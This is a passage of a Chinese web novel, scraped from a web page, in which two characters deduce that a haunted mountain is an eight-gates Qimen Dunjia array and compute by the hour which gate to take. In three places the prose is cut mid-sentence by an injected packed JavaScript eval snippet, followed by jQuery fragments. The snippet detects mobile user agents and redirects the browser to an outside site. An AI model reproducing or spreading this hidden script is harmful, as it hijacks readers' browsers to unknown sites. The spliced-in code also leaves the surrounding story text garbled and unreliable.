魏郁春张了张口:“难怪我们找到这里的时候,花了将近一个多时辰……” 他们入山时自西南方出发,现在却处于东或东北部,简直是跨越了半个山,难怪要花费那么久的时间赶路。 海潮声的来临,提供了短暂性的辨声帮助,可只要再过至多一个时辰,这些声音就会弱到几乎听不到了。这意味着,如果他们还不能赶快出山,便真的要被这座诡山困到天黑了。 光天化日之下,他们就经历了好几次性命攸关的危险,更不提伸手不见五指的黑夜了——在这座群树环避的山上,外面的月亮和群星再明亮,光亮也投不到地面一点。 可问题是,盘龙山只有一只通向村镇的出口,其他要么便是海壁,要么便是峭崖......根本行不通。所以他们距离出口已经很远了,来的时候不止两个时辰,要想一个时辰内就赶回去,岂不是痴人说梦? 他们又不可能直接穿过山体回去。 如果没有那些要命的幻术和黑衣人,他们可能还不需要一路都依靠海潮声行走,山中也没有猛兽,奔奔跑跑,可能勉强能够到靠近出口的地方。但现实很残酷,他们恐怕回不去了。 魏郁春和关阇彦已经领会了种种迹象代表的可怕意义,这个死局,到底该怎么走出去。 千钧一发之际,一道闪电好似直接劈过关阇彦的大脑。 记忆中的一样东西将他今日的经历串连了起来,那东西是年幼时,父亲为他特意找到的江湖上一位善于奇门遁甲之术的老师教给他的,以此来奠定为将者排兵布阵之基础。 那老师和普通的术士大有不同,他很年轻,总喜欢佩戴着一只背面有着手工磨刻的阴阳八卦图案的风水罗盘,那只罗盘他不爱系在腰间,也不爱拿在手上揣在怀里,偏偏喜欢反而挂在脖上,袒露衣外,滑稽得像只大肚兜,所以关阇彦对他的印象极其深刻。 但真正能让从小就眼高于顶的关阇彦钦佩的,是这位老师新奇的思路,他教的术法和旁的道士都不一样,旁的道士总以其坐观整体之局,以之卜天命,卜战时天象,卜未知之局以断排兵之术。 可他却偏偏要剑走偏锋,将局面分解,从单个出发,以牵一发而动全身之观念来策动全局发展,故而他的大局观念总要比旁人更加宏大。 然而缺点也很明显,他所布之局太过庞大,变幻之法多到寻不出任何相通之处,极难熟练变化。故而,无才思者难纵,无充足钱财、物资、人力者难布。 关阇彦后来曾不止一次要仿照他的思路走局,最后都以失败告终,他本欲将那老师寻来继续探讨术法一二,却得知那老师不被世人理解,又遭人排挤,于许多年前便郁郁而终了。 他怎么都想不到,有朝一日他会在偏远的南禺诡山上,因感知到这种剑走偏锋的术法的影子,而将这些尘封已久的记忆拿出来,抖擞一二。 应是察觉到了关阇彦的不对劲,魏郁春深怕他是浸淫幻术太久有了反噬之症,唤他:“你还好吗?若是神智不清楚,你最好多和人说说话,别憋着。” “没有,”关阇彦连忙摇头,然后将那些分明还没有落脚点却让他兴奋的猜测说了出来,“从前我碰到过一位高人,他极善于奇门遁甲之术,尤善从八门、八神、九星论阵。而我们方才所经历的事物,好似刚好与八门之术相对应。” “我们从刚入山的路一直上走,未曾变道,那里对应的本就该是西南,若以八门论道,此处对应者乃为三大凶门里的死门。那时我们的确踩中了石墩里的‘凶’地,虫尸和强悍的幻术就是证据。再后来,我们遭遇袭击,遁入他处,跋涉的路途并不远,去到的地方乃是石墩中的‘吉’地,之后,我们顺着一个方向走,不久寻到了第二个‘凶’地。” “到现在,我们踩中的这第二个‘吉’地,是后来我们回到第一个“吉”地时,刻意转变了方向,跋涉了许久才发现的。刚巧不巧,这个‘吉’地就处于东方。” 魏郁春听着关阇彦越来越快的语速,和越来越谨慎规范的用词,作为本就不通门路的她来说,就像是在听什么高深莫测的世外之音。 她在云里雾里的同时,对关阇彦的身份进行了重新定义。 奇门遁甲之术……若不是修道之人,便只有善于排兵布阵的将士抑或谋士精于此道。但关阇彦不可能是修道之人,否则他在和黑衣人门交手的时候也不会一直处于劣势,更没必要一直故弄玄虚、还特地拉出一个高人当幌子。 而且若真有他这样口无遮拦的道人,这世间……可真就是乱套了。 他那一身武艺,高超绝妙,使得出神入化,若说是谋士,完全不妥,若说是将士……却有相当高的可信度。 关阇彦好似也觉得一直将东西南北、吉凶如何的事物挂在嘴边太过绕口,既是如此,又怎么指望外行人听懂? 他就地取材,提来一只树枝,在泥地上划开一个十字,上南下北,左东右西,四个方位字写好在十字对应的四个端点上。 南部排列开来的是三个字眼——“杜”、“景”、“死”。 北部排列开——“生”、“休”、“开”。 东部在上“杜”下“生”的中间补上一只字眼——“伤”。 西部在上“死”下“开”的中间补上一只字眼——“惊”。 因此组合起来,便是一个以正方形为外圈、中间为一只空白方块的简单图阵。 如此以来,八门排列就此形成,看起来比口头叙述直观了太多。 “看似仅仅利用了奇门遁甲中的‘八门’这一个元素组成的阵列,能将其铺陈在整座盘龙山,这等高手百年来我未曾听说过一位,仿若天人之迹。” 关阇彦的眼中显现出近乎狂热的兴趣,他对排兵列阵之事本就极度热爱。 但就是因为觉得能将阵列就此铺陈开来,实在是太不可思议,他的神色瞬间就平复了下去,说道:“但世上恐怕无人做得到,所以这也仅仅是我的猜测。” “我明白。”魏郁春很认真地听着,面上好似写满了求知若渴四个大字。 她又补道:“有一线希望可以摸索是极大的幸事,总比什么都不做等死的好。” 有了她坦诚的支持,关阇彦推演局面的信心也重了不少。他提着树枝,先在西南方“死门”部分圈起来,紧接着又圈向“景门”,其中作为衔接的线又继续指向“杜门”,三只门刚巧不巧都属于南部。 他语气沉稳:“入山自西南,死门乃大凶者,我们离开后很快就找到了代表小吉的景门,离开景门,很快就找到了代表小凶的杜门。我们被幻术迷幻了神智和判断,以至于行进和离开时,无法确认方向。但如果按照八门之阵来说,我们其实一直都顺着一个方向在寻找石墩,所以才会短时间内快速找到连通一方的三门,三门对应凶吉凶,放眼全局,没有哪一个方向能做到了。” 他说得没错,西南入山口为定点,以“死门”出发,南部“死——景——杜”的确完完整整对应了他们起伏不定的境遇“凶——吉——凶”。 若是西部,“死——惊——开”则对应的是“凶——凶——吉”。 魏郁春已经开窍了大半,她顺手也从地面上捡起一根树枝,点到“生门”上。 说道:“我们现在处于东部,可东部除了我们早就离开的“景门”,就只有大凶者伤门和大吉者生门。我们目前呆着的石墩处,又明显代表了吉,所以……我们现在是在生门处!也就是东北方位!” 末了,她已是惊讶到说不出话来。这世间竟然有如此玄妙之物,一通其中,难以自拔,难怪关阇彦在钻研此道上会如此狂热。 听了她的解释,关阇彦也毫不掩饰地表露了对她的欣赏,看向她的眸色中浸了不少“孺子可教也”的情绪。 但此时,魏郁春很快就发现了疑惑之地,她手中的树枝点了点南部“景门”,又点了点东北部“生门”,道:“若以八门之阵来看,我们方才应该是直接从景门来到了生门,跨越了大半的山,所耗脚力确实是先前的数倍。” “但……这也意味着我们为避开曾经和黑衣人们第二次交手时的‘杜门’,转移方向时,也一齐避开了东部伤门,跨越方向,直接赶到了此地。” “可跨越之说本身就存在了太多漏洞,因为空白的部分可以是八门里的任何一个。” “若仅仅以时间和方向作为证据,恐怕难以确定盘龙山上吉凶的排布,和八门息息相关。而且我们之所以能断出生门所处之地在东北,也都是因为我们先将其带入到了八门之阵里进行了对照。一旦八门之阵不成立,种种结论都算是先入为主后的错判了。” “我明白你的顾虑,但除了时间和方向两个点外,还有一个地方也令我在意,”关阇彦凝眸补充,“假设八门之阵成立,我们从死门离开时看到的幻想多为树木化作的巨蛇。” “并且在坠入山坡下时看到的幻想也还是一只张者大口的巨蛇,那时我们已经靠近了景门的地界,而我想起来景门所对应的刚好是八神中的腾蛇。” 魏郁春道:“所以,我们是在死门处见血过多幻象加剧,刚好又入了景门的地界,看到的幻象也都和蛇有关。” “没错,”关阇彦又猜测道,“之所以我们后来没有看到其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447402|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他八神的幻象,也是因为吉处不生变故,凶处不动刀刃不见血。” “如此看来,种种地方皆是重合,说不定真的和八门之术有关!”魏郁春大叹。 关阇彦丢下树枝,随脚踏乱了地面上的图稿,拍拍手掌:“至于到底是不是我的先入为主,还得看接下来的调查。” “莫非是去寻找接下来的几个门?” 关阇彦点点头道:“无需验证太多,休门吉门,开门亦是吉门,我们顺着往西的方向一直走,若是发现它们二者的的存在,且象征的境遇皆为吉,就彻底证明了这是八门之阵的排布。” “不过,八门对应了八个方向,只有个大概范围,即便阵上是生休开三门并列在一条直线上,但实际上那根本不可能,它们不过是在同样一大片区域而已。” “故而,那些迷幻我们神智的不是黑衣人,不是山,而且存在在我们身边的某样阵法。可想而知,这阵画下来是简单,又是纸上谈兵。但真正要排布下来,即便是天才,没有个三年五载也办不成。” 魏郁春闻言大骇:“盘龙山偌大,若真有八只负责镇压阵点的石墩,分布下来,堪称无序,以至于即便有人气运好发现了其中的规律,也因为无法辨认方向和时间,从而根本无法找到具体的阵点。” “布阵之人是怎么做到的?” 关阇彦摊了摊手,表示对此也一无所知。 他道:“我们还不算太惨,刚刚海潮声起,便算是告诉了我们现在的时辰是未时。用时间去推演,说不定能探到直符和直使的具体位置。” 实在是触及了知识盲区,魏郁春满腔疑惑,却不知从何说起,只是见一个捉一个地拿出来问问,她脸色讪讪:“直符和直使?” “直符是旬头对应的宫位上的星,直使便是方才我们讨论的八门了。” 魏郁春应道:“时间的测算还成问题,现在应该距离未时已过去一刻钟了,但待会儿赶路不同于现在原地不动,不大好惦记时间的变化。不如我们论步数累时,走得中速一些,便是一千五百步为一刻钟。” 关阇彦眉梢动了动,不大理解:“你怎知一刻钟能走一千五百步?” 魏郁春笑道:“以前无聊的时候就喜欢围着一个地方走,数着数着就一千五百步了,这时候一看,一炷香过去,可不就是一千五百步吗?” 前世母亲爱做糯米糕,出一锅就得烘上两柱香,她常常在阁楼上嗅着桂糯之香,哪里静得下心读书写字,自是下了楼张望,但是还是无聊,带着香味集聚的炉前,饿的更慌。于是她就出了小院,围着魏家偏僻而无人走动的院墙走上几圈,两圈下来,三千多步,两炷香,一锅香喷喷的糯米糕。 所以,一千五百步不就是一炷香么? 关阇彦顿了顿,知道这速度算慢了,于是有些纠结:“那估摸得按照你的速度走,时间上可能得耽搁会儿了。” 魏郁春说道:“趁现在时间还不算太偏整点,算算休门何处吧。” 关阇彦此时却忽地制止:“不对,先不着急,先按照这个办法推算此地是否为生门再说。” 他还是觉得这阵法没那么简单。因为奇门遁甲之术往往千变万化,历来普通术士都是针对某个局面抑或是针对性推演此事后期如何发展、是凶是吉时,用辅佐阵法运行的风水罗盘抑或是什么特定的法器进行推演运作。 这种直接提前把阵局做好放在山上,又没有专门的术士操纵、唯有死气沉沉的石墩把守的情况,他还是第一次见。 山不动,这些石墩更是几百年来扎根于此,那有怎么来保证阵法随着天象、时间抑或是人为之事进行变动呢? 如果真的是八门之阵,且阵法无法做到千变万化,他们的确可以直接用算术算出针点位置。但若是这样,结局恒定,又为何强调吉凶的重要性? 并且,这样破局未免太简单了,那设下这等大局的高手岂不是脱裤子放屁。 拐弯抹角了这么久,结果阵局连最基础的变幻莫测都做不到,这么一看,这位高手岂不是连民间惯于坑蒙拐骗的流氓都比不上了? 这大抵不可能,因为这高手既然肯费尽心思在此山雕琢这么久,就一定还藏了什么关键点没被发现。 关阇彦脑子有些乱,但至少摸出了几条线索,就是一时半会儿还理不清楚。眼看还是先验证一下时辰和生门的关系是否真的那么死板,这样说不定他才可以稍微解脱一点。 如果是,那便就承认那高手脱裤子放屁、故弄玄虚,然后就按照魏郁春的一千五百步测算下一处星、门的位置,以此提前得知前路吉凶。 如此,无需下一波海潮的助力,他们也能靠避让凶门回到西南入山口。 如果不是......再多的一千五百步都没办法解局,说不定还会一举推翻他好不容易寻来的八门破局之法,那将会是最坏的打算——生死不由人,而由天了。 60. 生死由天(2) 先将此地测算好,成功找到下一个安全的地方的把握才更大。魏郁春深以为然,然后问关阇彦:“那我们该怎么算?” “今日六月初五,甲辰日,未月,现在约莫未时,”关阇彦说到此处的时候微微一怔,因为他发现今日的日子真是凑巧,虽是甲辰日,但时辰上,到昨日结束却刚好轮完六十个甲子。所以今日的子时应该从甲子算起,“甲子、乙丑、丙寅、丁卯……辛未……现在应当是辛未时。” “天干为八,地支为八,地支减去天干刚好凑巧成了零,看来时辰的旬数就是零了。” “六十甲子共分为六旬,每旬对应数字依次是零,十,八,六,四,二,所以时辰所在旬便是“零”数对应的第一旬,时辰所在旬为一。” 关阇彦虽然解释得很有条理,但语速很快,一不留神就不知道哪个数字该对应哪个了意思了,魏郁春近乎屏息而听,蹙着的眉迟迟没有放下来。 关阇彦算的很快,显然已经入了神,根本没顾上魏郁春到底有没有听懂的问题。 他道:“八门之阵对应的就是八卦阵了,现世普遍泛称其为九宫八卦,对应宫数就是五。今日六月初五,上个月过了夏至,日子在夏至日至冬至日期间,那便是阳遁的测算法。节气上,刚过六月一日的小暑没多久,小暑排列第九,节气位数上那便粗算作九,时辰对应未时,时辰元数上粗算作八。所用局数等于宫数五加节气位数九,最后减去时辰元数八,最后算作数六,未超九,保留六。直符直使等于局数六加上时辰旬数一,最后减去一,后二者抵消,最后数字恒定在六上。” 他垂眸看了一眼脚底被他胡乱踏没的八门图,哀叹了一气,又蹲下去重新提了一根树枝将它复原回去。早知道还有用,他便不会销毁它了。 依旧是南部的从左向右排列的三个字“杜——景——死”,北部同方向排列的“生——休——开”。 东部是从上到下排列的三个字“杜——伤——生”,西部是同方向排列的“死——惊——开”。 八个字围成了每边有三个字的正方形,方方正正,一点缺漏都无。 除了凶吉,它们本该还有各自对应着的不同的数字以作区分。 现在,关阇彦特地在八门旁写下了这些数字,一一对应。 南:“杜——景——死”:肆、玖、贰 北:“生——休——开”:捌、壹、陆 东:“杜——伤——生”:肆、叁、捌 西:“死——惊——开”:贰、柒、陆 标记好后,关阇彦的脸色也变得奇差无比起来,好似又一团黑不溜秋的浓云缭绕在他的周边,挥之不去,并且只可意会不可言传。魏郁春隐隐猜到了,未时算出来的结果和当下他们所处的位置并不相同。 男子沉得好似掉入翁中的嗓音响起:“最后的结果是六,也就是陆对应的开门,极为直使,直符乃天心。但……” 那种无奈到极致却又暗含愤怒的冷笑传来。 “……我们不是在生门么?未时算出来的结果不应该是捌么?”他如此反问。 魏郁春的心也沉到了谷底。 而关阇彦也终于清醒,在盘龙山上布下如此歹毒阵局的人就是个世间不可多得的高手,就是这样的高手,又怎么可能轻易叫人识破阵局呢? 不知是佩服还是绝望,他松了松劲儿,凉道:“我终于明白幻术的意义在何处了。在不同的日子和时间里,八门吉凶的位置本该也会随之改变,但如果八门存在,又固定于不动的山体,那么这个阵法还有存在的必要么?可除此之外,我们实在没有办法破局了。” “而幻术的作用可想而知——让我们自乱阵脚,分辨不了方向,就只好自己在阵中转悠,相对来说,我们的动转化为阵法的动,因此就达到了阵中人静止,而八门随万物变动的目的。我们的命其实早在冥冥之中就交由了天命掌握。布阵之人……当真是厉害。” “真正的掌局者,是天,是命?” 魏郁春震了震,她最听不得的就是这样的话。 因为就是因为天命,她才会枉死……陆子礼才会走投无路……她和关阇彦现在才会只能呆在这破山里等死。 凭什么每次都要听天摆布?! 面对魏郁春的不敢置信,关阇彦也只好低头承认:“是。因为只要我们在不同的月份、不同的日子、不同的时间、不同的方向,乃至行走到的不同的位置,都会让阵局随之变化。最恐怖的是,这个局可能真是我先入为主了,未时无法对应相应的数,也可能是因为我们用的根本不是正确的阵局的算法。” 魏郁春冒着冷汗,旋即提着树枝,在地面上比划起来,口中念念有词般不知在嘟囔什么。 “辛未……辛未前应该就是庚午时。” “若以八门论道,在死门时,距离未来世还有一个多时辰的时间,所以我们到景门的时候,应该离午时最近!” “庚午……庚午,天干七,地支七,和辛未一样抵消成了零,所以还是在第一旬!” “直符直使序数里后两个元素,便有刚好抵消了!那宫数五加上小暑的节气位数九减去时辰元数的七……最后的结果是数七。” 魏郁春焦急的在地面上画好的八阵图上去寻找对应的数。 她的指尖点到了代表“柒”的惊门处。 此时,不仅仅是魏郁春她自己,就连本打算继续郁闷下去的关阇彦也被惊得哑口无言。 因为,庚午时,他们原本应该处于代表“玖”的景门处,可算出来的数对应的则是代表“柒”的惊门。 单独来看不觉着什么,可一旦联系辛未时,“陆”开门和“捌”生门的情况来看,就立马发现了不对之处。 陆与捌、柒与玖,它们都相差了一个二。 这还不仅仅是巧合那么简单。 因为今日是特殊的日子,为六十甲子的开头,近一段时间来,除了这一天以外,其他任何一天都无法做到让不同时辰的天干地支相互抵消成为零。 顺着想下去,也没有哪一天从头到尾都让时辰所在旬恒定于第一旬。 这才导致算直符直使的时候,可以直接将时辰所在旬一直接和后面需要减去的数一抵消,从而直接靠和宫数、节气位数、时辰元数息息相关的局数算出结果。 宫数恒定不变,节气位数只要在同一日测算的时候都为恒定,导致结果变动的最终元素就这样都归咎到了时辰元数上——时辰。 如果这个阵就是九宫八卦阵,那么它的破处就在时辰上! 只是若不深入思考,便会被类似于方向等等的事物迷惑了判断,这是障眼法。 但即便两次测算的结果都有了规律,却也没办法就此定局。 可至少让他们打心底里更相信这个阵就是含有八门的八卦阵,而不是别的旁门左道。 魏郁春本打算继续把时辰提前,开始测算结果是不是还符合这个规律,但她被关阇彦打断了:“不用算了。这个阵本来就是死的,因为有了进入阵中并中了阵局的幻术的人,它才得以活过来。我们在巳时末才正式进入盘龙山,后来就是午时到的景门,算出来的误差太大,说不定还会触怒天公。” 魏郁春的冲动劲平息了下来,她颔首,然后慢慢站直了身子,又闻关阇彦迟疑的话音:“你只是听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447403|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我说了一遍就全部会了?” 他还在因方才魏郁春快速解数的事情震惊,不敢自我贬低的他也不禁设想——若是他是一个从未接触奇门遁甲的人,要听哪个师父稀里糊涂说下这一大通话,还不给人问答机会,他学不学得会先不论,暴打师父一顿却是不可避免的事。 其实言下之意也很明显,他多半学不会,然后是因为恼羞成怒才要暴打师父。 可眼前这个女子……却做到了,解数时一气呵成,令人喟叹。 他不敢置信,也是打心底地钦佩她的能力。 魏郁春一心扑在解密上,没什么精力仔细体悟他那疑惑满满的话,只是应付似的点了几下头,满脸严肃。 关阇彦不禁扯了扯唇,酸溜溜地心想:“倒是怪拽的。” 然后他道:“八门对应的结果从来都只有一个,陆与捌、柒与玖,其中肯定各有一个是假的,用来迷惑我们的。海潮声是幻术无法幻化的,所以我们现在的方向一定是对的,一定站在生门的地方,午时也一定处于景门。” 魏郁春很认真地赞同了他的结论:“所以测算的开门和惊门才是假的。” “即便没有方向,但拿用午时算出来的代表大凶的惊门出来,也可以知道熟真熟假。毕竟午时我们所在的地方分明就是吉地,而非凶地。” “只有用最后测算的数加上二,才可能得到对应真正门的数。” “那么前者本就不该和八门对应起来,它仅仅是一个具有导向作用的数而已。” 关阇彦继续说着。 “往前推得不到验证,那就只能往后赌了。我们把时辰再往后推一个,壬申时,宫数五加上节气九再减去时辰元数九,那便是数字五了,加上二,对应的就是真正代表柒的惊门!” 魏郁春应该在对方说话间也将这个数值在心中默默算了起来,结果和对方的结果重合,于是兀自颔首起来。 她接着道:“若是再推一个时辰,癸酉时,宫五节九减去酉十,最后的结果是四,加上二,对应的是陆开门。不过若是要找出口就必须连同到死门。再往后推——” 关阇彦忽地打断她:“不必算了,甲子到癸酉这一个旬已经结束。若是在酉时前还不出去,我们就真的被困死在这座山了。” “这是不是意味着申时惊门和酉时开门,得选一个?” 魏郁春忙道,眼中又惊又喜,喜悦的是找到了一线生机,惊恐的是这线生机还未得到验证。 而且,若是没有在指定的一个时辰范围内没到达对应的直使门处,整个阵便会联合幻术重新将他们二人进行排布。 一千五百步断时间的办法肯定用不了,那样速度太慢。 既没有量时的办法,他们就只好靠速度往前莽,越快越好,这样就不怕超时了。 关阇彦有了一个万全之策:“不如先选申时的惊门,成功验成后,就直接往南方走,直接抵达死门出口。若是出了意外,比如超时什么的,也好再挑酉时的开门另作打算。” “惊门和死门都是大凶门,那些黑衣人再出现怎么办?” “没什么区别,若是能从惊门闯出来,很快就能出山。若选了开门,虽然是吉,但浪费了很多时间。若是我们中途有意外,无法快速从西北的开门跨越半山去往西南死门,反而更危险吧?” 关阇彦觉得以他们的处境来考虑选择哪一条路走,和同在两只烂果子里挑挑拣拣没什么区别,都是烂的,只是烂的部位不一样罢了。 他是在尽量挑走一个,一口下去还暂时咬不到烂处的果子。 “对了,关于这座山对凶吉的定义,我有了一些猜测。” 61. 吉人天相(1) “今日我们来的时候,那些黑衣人也在,所以在凶地,二者相见都会大打出手,若到了吉地,那些黑衣人都会奇迹般不见,声音也听不到。后来我们从南方跑到这么远的东北部,一路上时间很长,我才意识到身边好似一直环绕着陌生人的脚步声。” 听到此处,关阇彦快速附和上一句:“是,我也有这种感觉,并且脚步声不同,大概区分下来两种,明显各属交手的两拨黑衣人们。” “我觉得不应该是幻觉。”魏郁春长吁了一口气。 “我怀疑在非凶非吉的空白区域里,我们和黑衣人应该是互相看不到互相的,但只要在凶地,黑衣人也在附近的话,阵法可能会故意吸引我们到一起去。反之,只要是在吉地,即便黑衣人在身边,阵法也会驱赶他们,保护我们,因此我们神智清醒,还能一只看不见也听不见黑衣人们的动静。” “所以凶地是将两者吸引到一处的关键地,吉地和非凶非吉地看似都不让我们和黑衣人二者相遇,但实际上,吉地比后者更看重先来后到的规则。先占据吉地的人可以享受被保护的资格,任何靠近吉地的人都会被阵法故意引走。” 关阇彦动了动眉头,忿忿道:“即便被引走又如何?不还是互相看不到对方,顶多能听得到对方的声音和脚步什么的。” 魏郁春答道:“因为我想,我们先前遇到的两拨黑衣人都是各自分开来的两拨人。即便他们原先同属一拨,可一旦分开就是两个群体。首先,若我们占据附近吉地,那么其他人就更有可能被引入凶地,那样更危险不是吗?” “其次,非凶非吉之地应该没那么友好,可能之所以在我们眼里是互相看不到的,是因为我们根本顾不上它们,反而还会刻意避开走。但若是在那些黑衣人眼里,一旦我们的人数很多发出的声音够响,他们只要愿意追上来,应该是有办法的,因为这里没有吉地那么绝对啊。” 这么想的确很周道。 关阇彦又道:“那假设那些不同拨的黑衣人们不存在呢?” “只有我们两个人在山上的话,在凶地时,我们可能互相残杀,和那些死去的虫子和猛兽的曾经一样,在吉地时,我们会恢复清醒,正常相处。在非凶非吉之地,我们本就在一起,没有分开,不存在互相看不到对方、互相找不到对方的情况,此时又何谈所谓的绝对性?” 他接二连三的问话像是一桩又一桩挑战性极强的考题,一步一步地将魏郁春的兴趣提到高处。但这好似也不失为他认可了她的能力,所以果断让出决策权的一种偷懒的证明。 她先是表情凝了凝,脑中一根线一根线牵动起来,眉梢一动,整个凝滞的面容也便灵动了起来。 她嘴角浮现了自信的笑容:“之前不是发现过,那些黑衣人其实是阻止我们互相残杀的契机么?” “黑衣人不见了,那我们的结局就应该是自相残杀。若是待在吉地,不会出事。若是在凶地,大打出手时不存在有第三者干扰的情况,之后要么双双死去,要么还能留下一个人。非凶非吉之地乃至吉地就没有存在的意义了。” 但很快,新的疑问就又占据了她的脑海:“若是进山人只有一个人,就像陆子礼那样。岂不是凶地对他来说也无意义了?” 关阇彦想到了什么,说道:“凶地幻觉最强,沾了血更是万劫不复,吉地幻觉最弱,形同虚设。” “非凶非吉地的幻觉趋于强弱两者之间,又不让我们和其他的存在有接触……奇门遁甲之术里,有一句古话——吉门相生有大利,凶门得生祸难避。” “我们和黑衣人第一次动手的时候,杀了人,若不是陡然落坡到了吉地,恐怕我们也会自相残杀起来。这是我们暂时躲避了凶门本该降临的惩罚,但却绕不开,惩戒只会跟着我们一直走,直到来到吉地消灾后才会不见。” 他的说法给魏郁春带来了莫大的启发,她将这些想法带入到第二次死里逃生的经历里去:“第二次的时候,我们意识到了见血会加重幻觉,所以全靠躲避来离开那个地方,回到吉地的这段过程里,我们才稳住了神智。” 原来,这非凶非吉之地看似中立,其实是凶地的帮凶。” “说实话,这布阵人心肠还不算太过歹毒。不管在什么样的阵法里,正常来说,只要到了凶地,不管你有没有见血,灾祸都是避不开的。但在这里,他还愿意创造出这么一个可以躲避的条件,来放你一条生路。” 关阇彦抚了抚太阳穴,他苦恼起来:“可能也就只能这样才能解释为什么陆子礼一个人多次来山,却都能安然无恙地回去了。” 陆子礼和他们不一样,来山的时候独他一人,问起来有么有看到过可疑的人,他也是亲口否决,说从未见过任何人。那么即便他站在凶地上,也没东西能让他见血,这凶地的恶咒也诅不到他身上。 魏郁春亦是不解地摇了摇脑袋:“真的这么巧吗?陆大夫从头到尾那么多次入山,遇不到任何一个人,偏偏我们一来……就……” “我怀疑这陆子礼……有些问题,”虽然不敢置信,但关阇彦不得不这么说。 “他自己说过,别的人从来不敢靠近这座山,包括我们一路过来的时候,也听附近村镇之人满口令人闻风丧胆的危言。附近的人的畏惧,不可能只是空穴来风,就是谣言也得有个头,大家不敢上山最初的原因,多半是很久很久以前的确有人尝试来过,然后出了事,一传十十传百,就此尘埃落定。” “可陆子礼他距离盘龙山那么远,即便有消息上的差误,也不可能误成这样,他敢去就罢了,去了一次无恙就当是命好。但去得多了,一直无恙呢?” 这段话的冲击力很大,好似直接能给人心里挖出一只洞来,因为陆子礼外冷内热的形象,已然扎根在了魏郁春的心里,她想不到此人会故意蒙骗他们,可也找不到否决这件事的证据。 然,排除所有的不可能,最后的答案即便再天马行空,那也是最后的真相。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过好像也情有可原……此女惜命极了,知道现在得依赖依赖自己,她一看就不是会嘴甜讨好的性子,于是把不跟他斗气,当作一种讨好也不失为一种依赖。 无意识间,他又开始自圆其说了起来。 害,想到第一次和黑衣人交手的时候,他还怀疑过魏郁春是不是为了护他,连自己的性命都不顾了,真是天大的笑话。 她怕死得很,怎么可能会为了他将自己置入险境?总之,谁都能这么做,唯独此女不会! 他收拾好余虑,跟上了魏郁春的背影,二人始终往一个方向行动,天色越来越晚,本就因傍海而空气多湿的盘龙山里雾霭纷纷涌动。 明明天还亮着,这些弥漫四溢的雾霭,却比阴间地府的鬼气还引人骨寒,走在山间,身上就跟披了霜雪一般,走的时间越久,就越感负重前行。 62. 吉人天相(2) 关阇彦和魏郁春快步行走时,果真又听到了那股熟悉的脚步声——黑衣人们。 但只闻其声,却不见其人,和之前一样的路数。 他们一直在刻意避开其他方向可能通往的范围,一路上也是一个石墩都没见着,说是幸运,那就是没跑错地方,说是不幸,要么是还没赶到石墩所在地,要么就是阵法和八卦阵无关。越跑下去,他们的心里也越来越没底。 说时迟那时快,他们很快就抓住了一个有用的线索。 而这个线索牵一发而动全局,直接验证了八卦阵的真实性,此时,二人甚至还没寻到镇压惊门的石墩阵点。 在关阇彦引路的时刻,魏郁春自然又有剩闲的功夫来留意旁处细节,之前未曾意识到的脚步声的大小的变化,很快被她转化成了对自己有利的条件。 她压着长期奔波下的喘息声,对关阇彦道:“我发现那些看不到的‘脚步声’会随着我们的移动发生变化。并且在我们顺着这个方向直走的时候,那些变化形成了大差不差的规律,它们的动静好似越来越大,越来越清晰。” 关阇彦顺着她的话头,也将执于寻路的感知力,分出大半给警惕四周的声音变化,他已经明白了。 “嗯,看来我们先前的猜测没错,若是山中不止我们二人,凶地的作用就是将附近其他拨的牛鬼蛇神引过来。我们是主动靠近了,但某一拨黑衣人应当是被阵法故意赶出去了。” “证据确凿了,是以八门作为区分范围的九宫八卦阵。” 魏郁春一阵欣喜,好似快要看到胜利的曙光,一时间竟忽视了马上要面临凶地威胁的事情。她一边喘息一边肯定起来:“这个方向无非三个门,死、惊、开,不管去到的是死门、惊门里的哪一只凶地,对我们来说都是好的走向。” 关阇彦则忍不住嗤笑了她一番:“想得挺美,先好好想想待会面对敌手的时候怎么自保吧。” 魏郁春瘪了瘪嘴,确实也提不起兴趣和他说话了,斗嘴的力气更是没有。 二人追着声音的去向,终于在不远处看到了一只伴随泥沼之地而生的石墩,那石墩竟就处在泥沼的中央地带。 此地不愧是大凶之处,那么一大片沼泽躺在那儿,叫人大老远看到都觉得发怵。 但随着二人和它的距离越来越近,便会看清有不少沾了青乌色烂泥的白骨架乌泱泱一片倒在沼泽里,而沼泽浅不了,很难想象露在外头的骨架,究竟踩了多少“同类”们的身躯才爬上了这样的高度。这可比所谓的虫尸之群和灌木骨坑吓人多了。 很明显,这里不是什么魏郁春所期待的“死门”,因为这里的地形分布,和他们入山时走过陡峭山地完全不一样,二者差了十万八千里,险些叫人以为不是一座山——这里地形平坦,不过平坦的地方是拿烂泥沼摊平的。 那种无奈到极致又感到愤怒的心情再度袭来,关阇彦头疼苦笑,那种说笑不像笑、说哭又不像哭的矛盾样,让看到的人都感到拧巴。 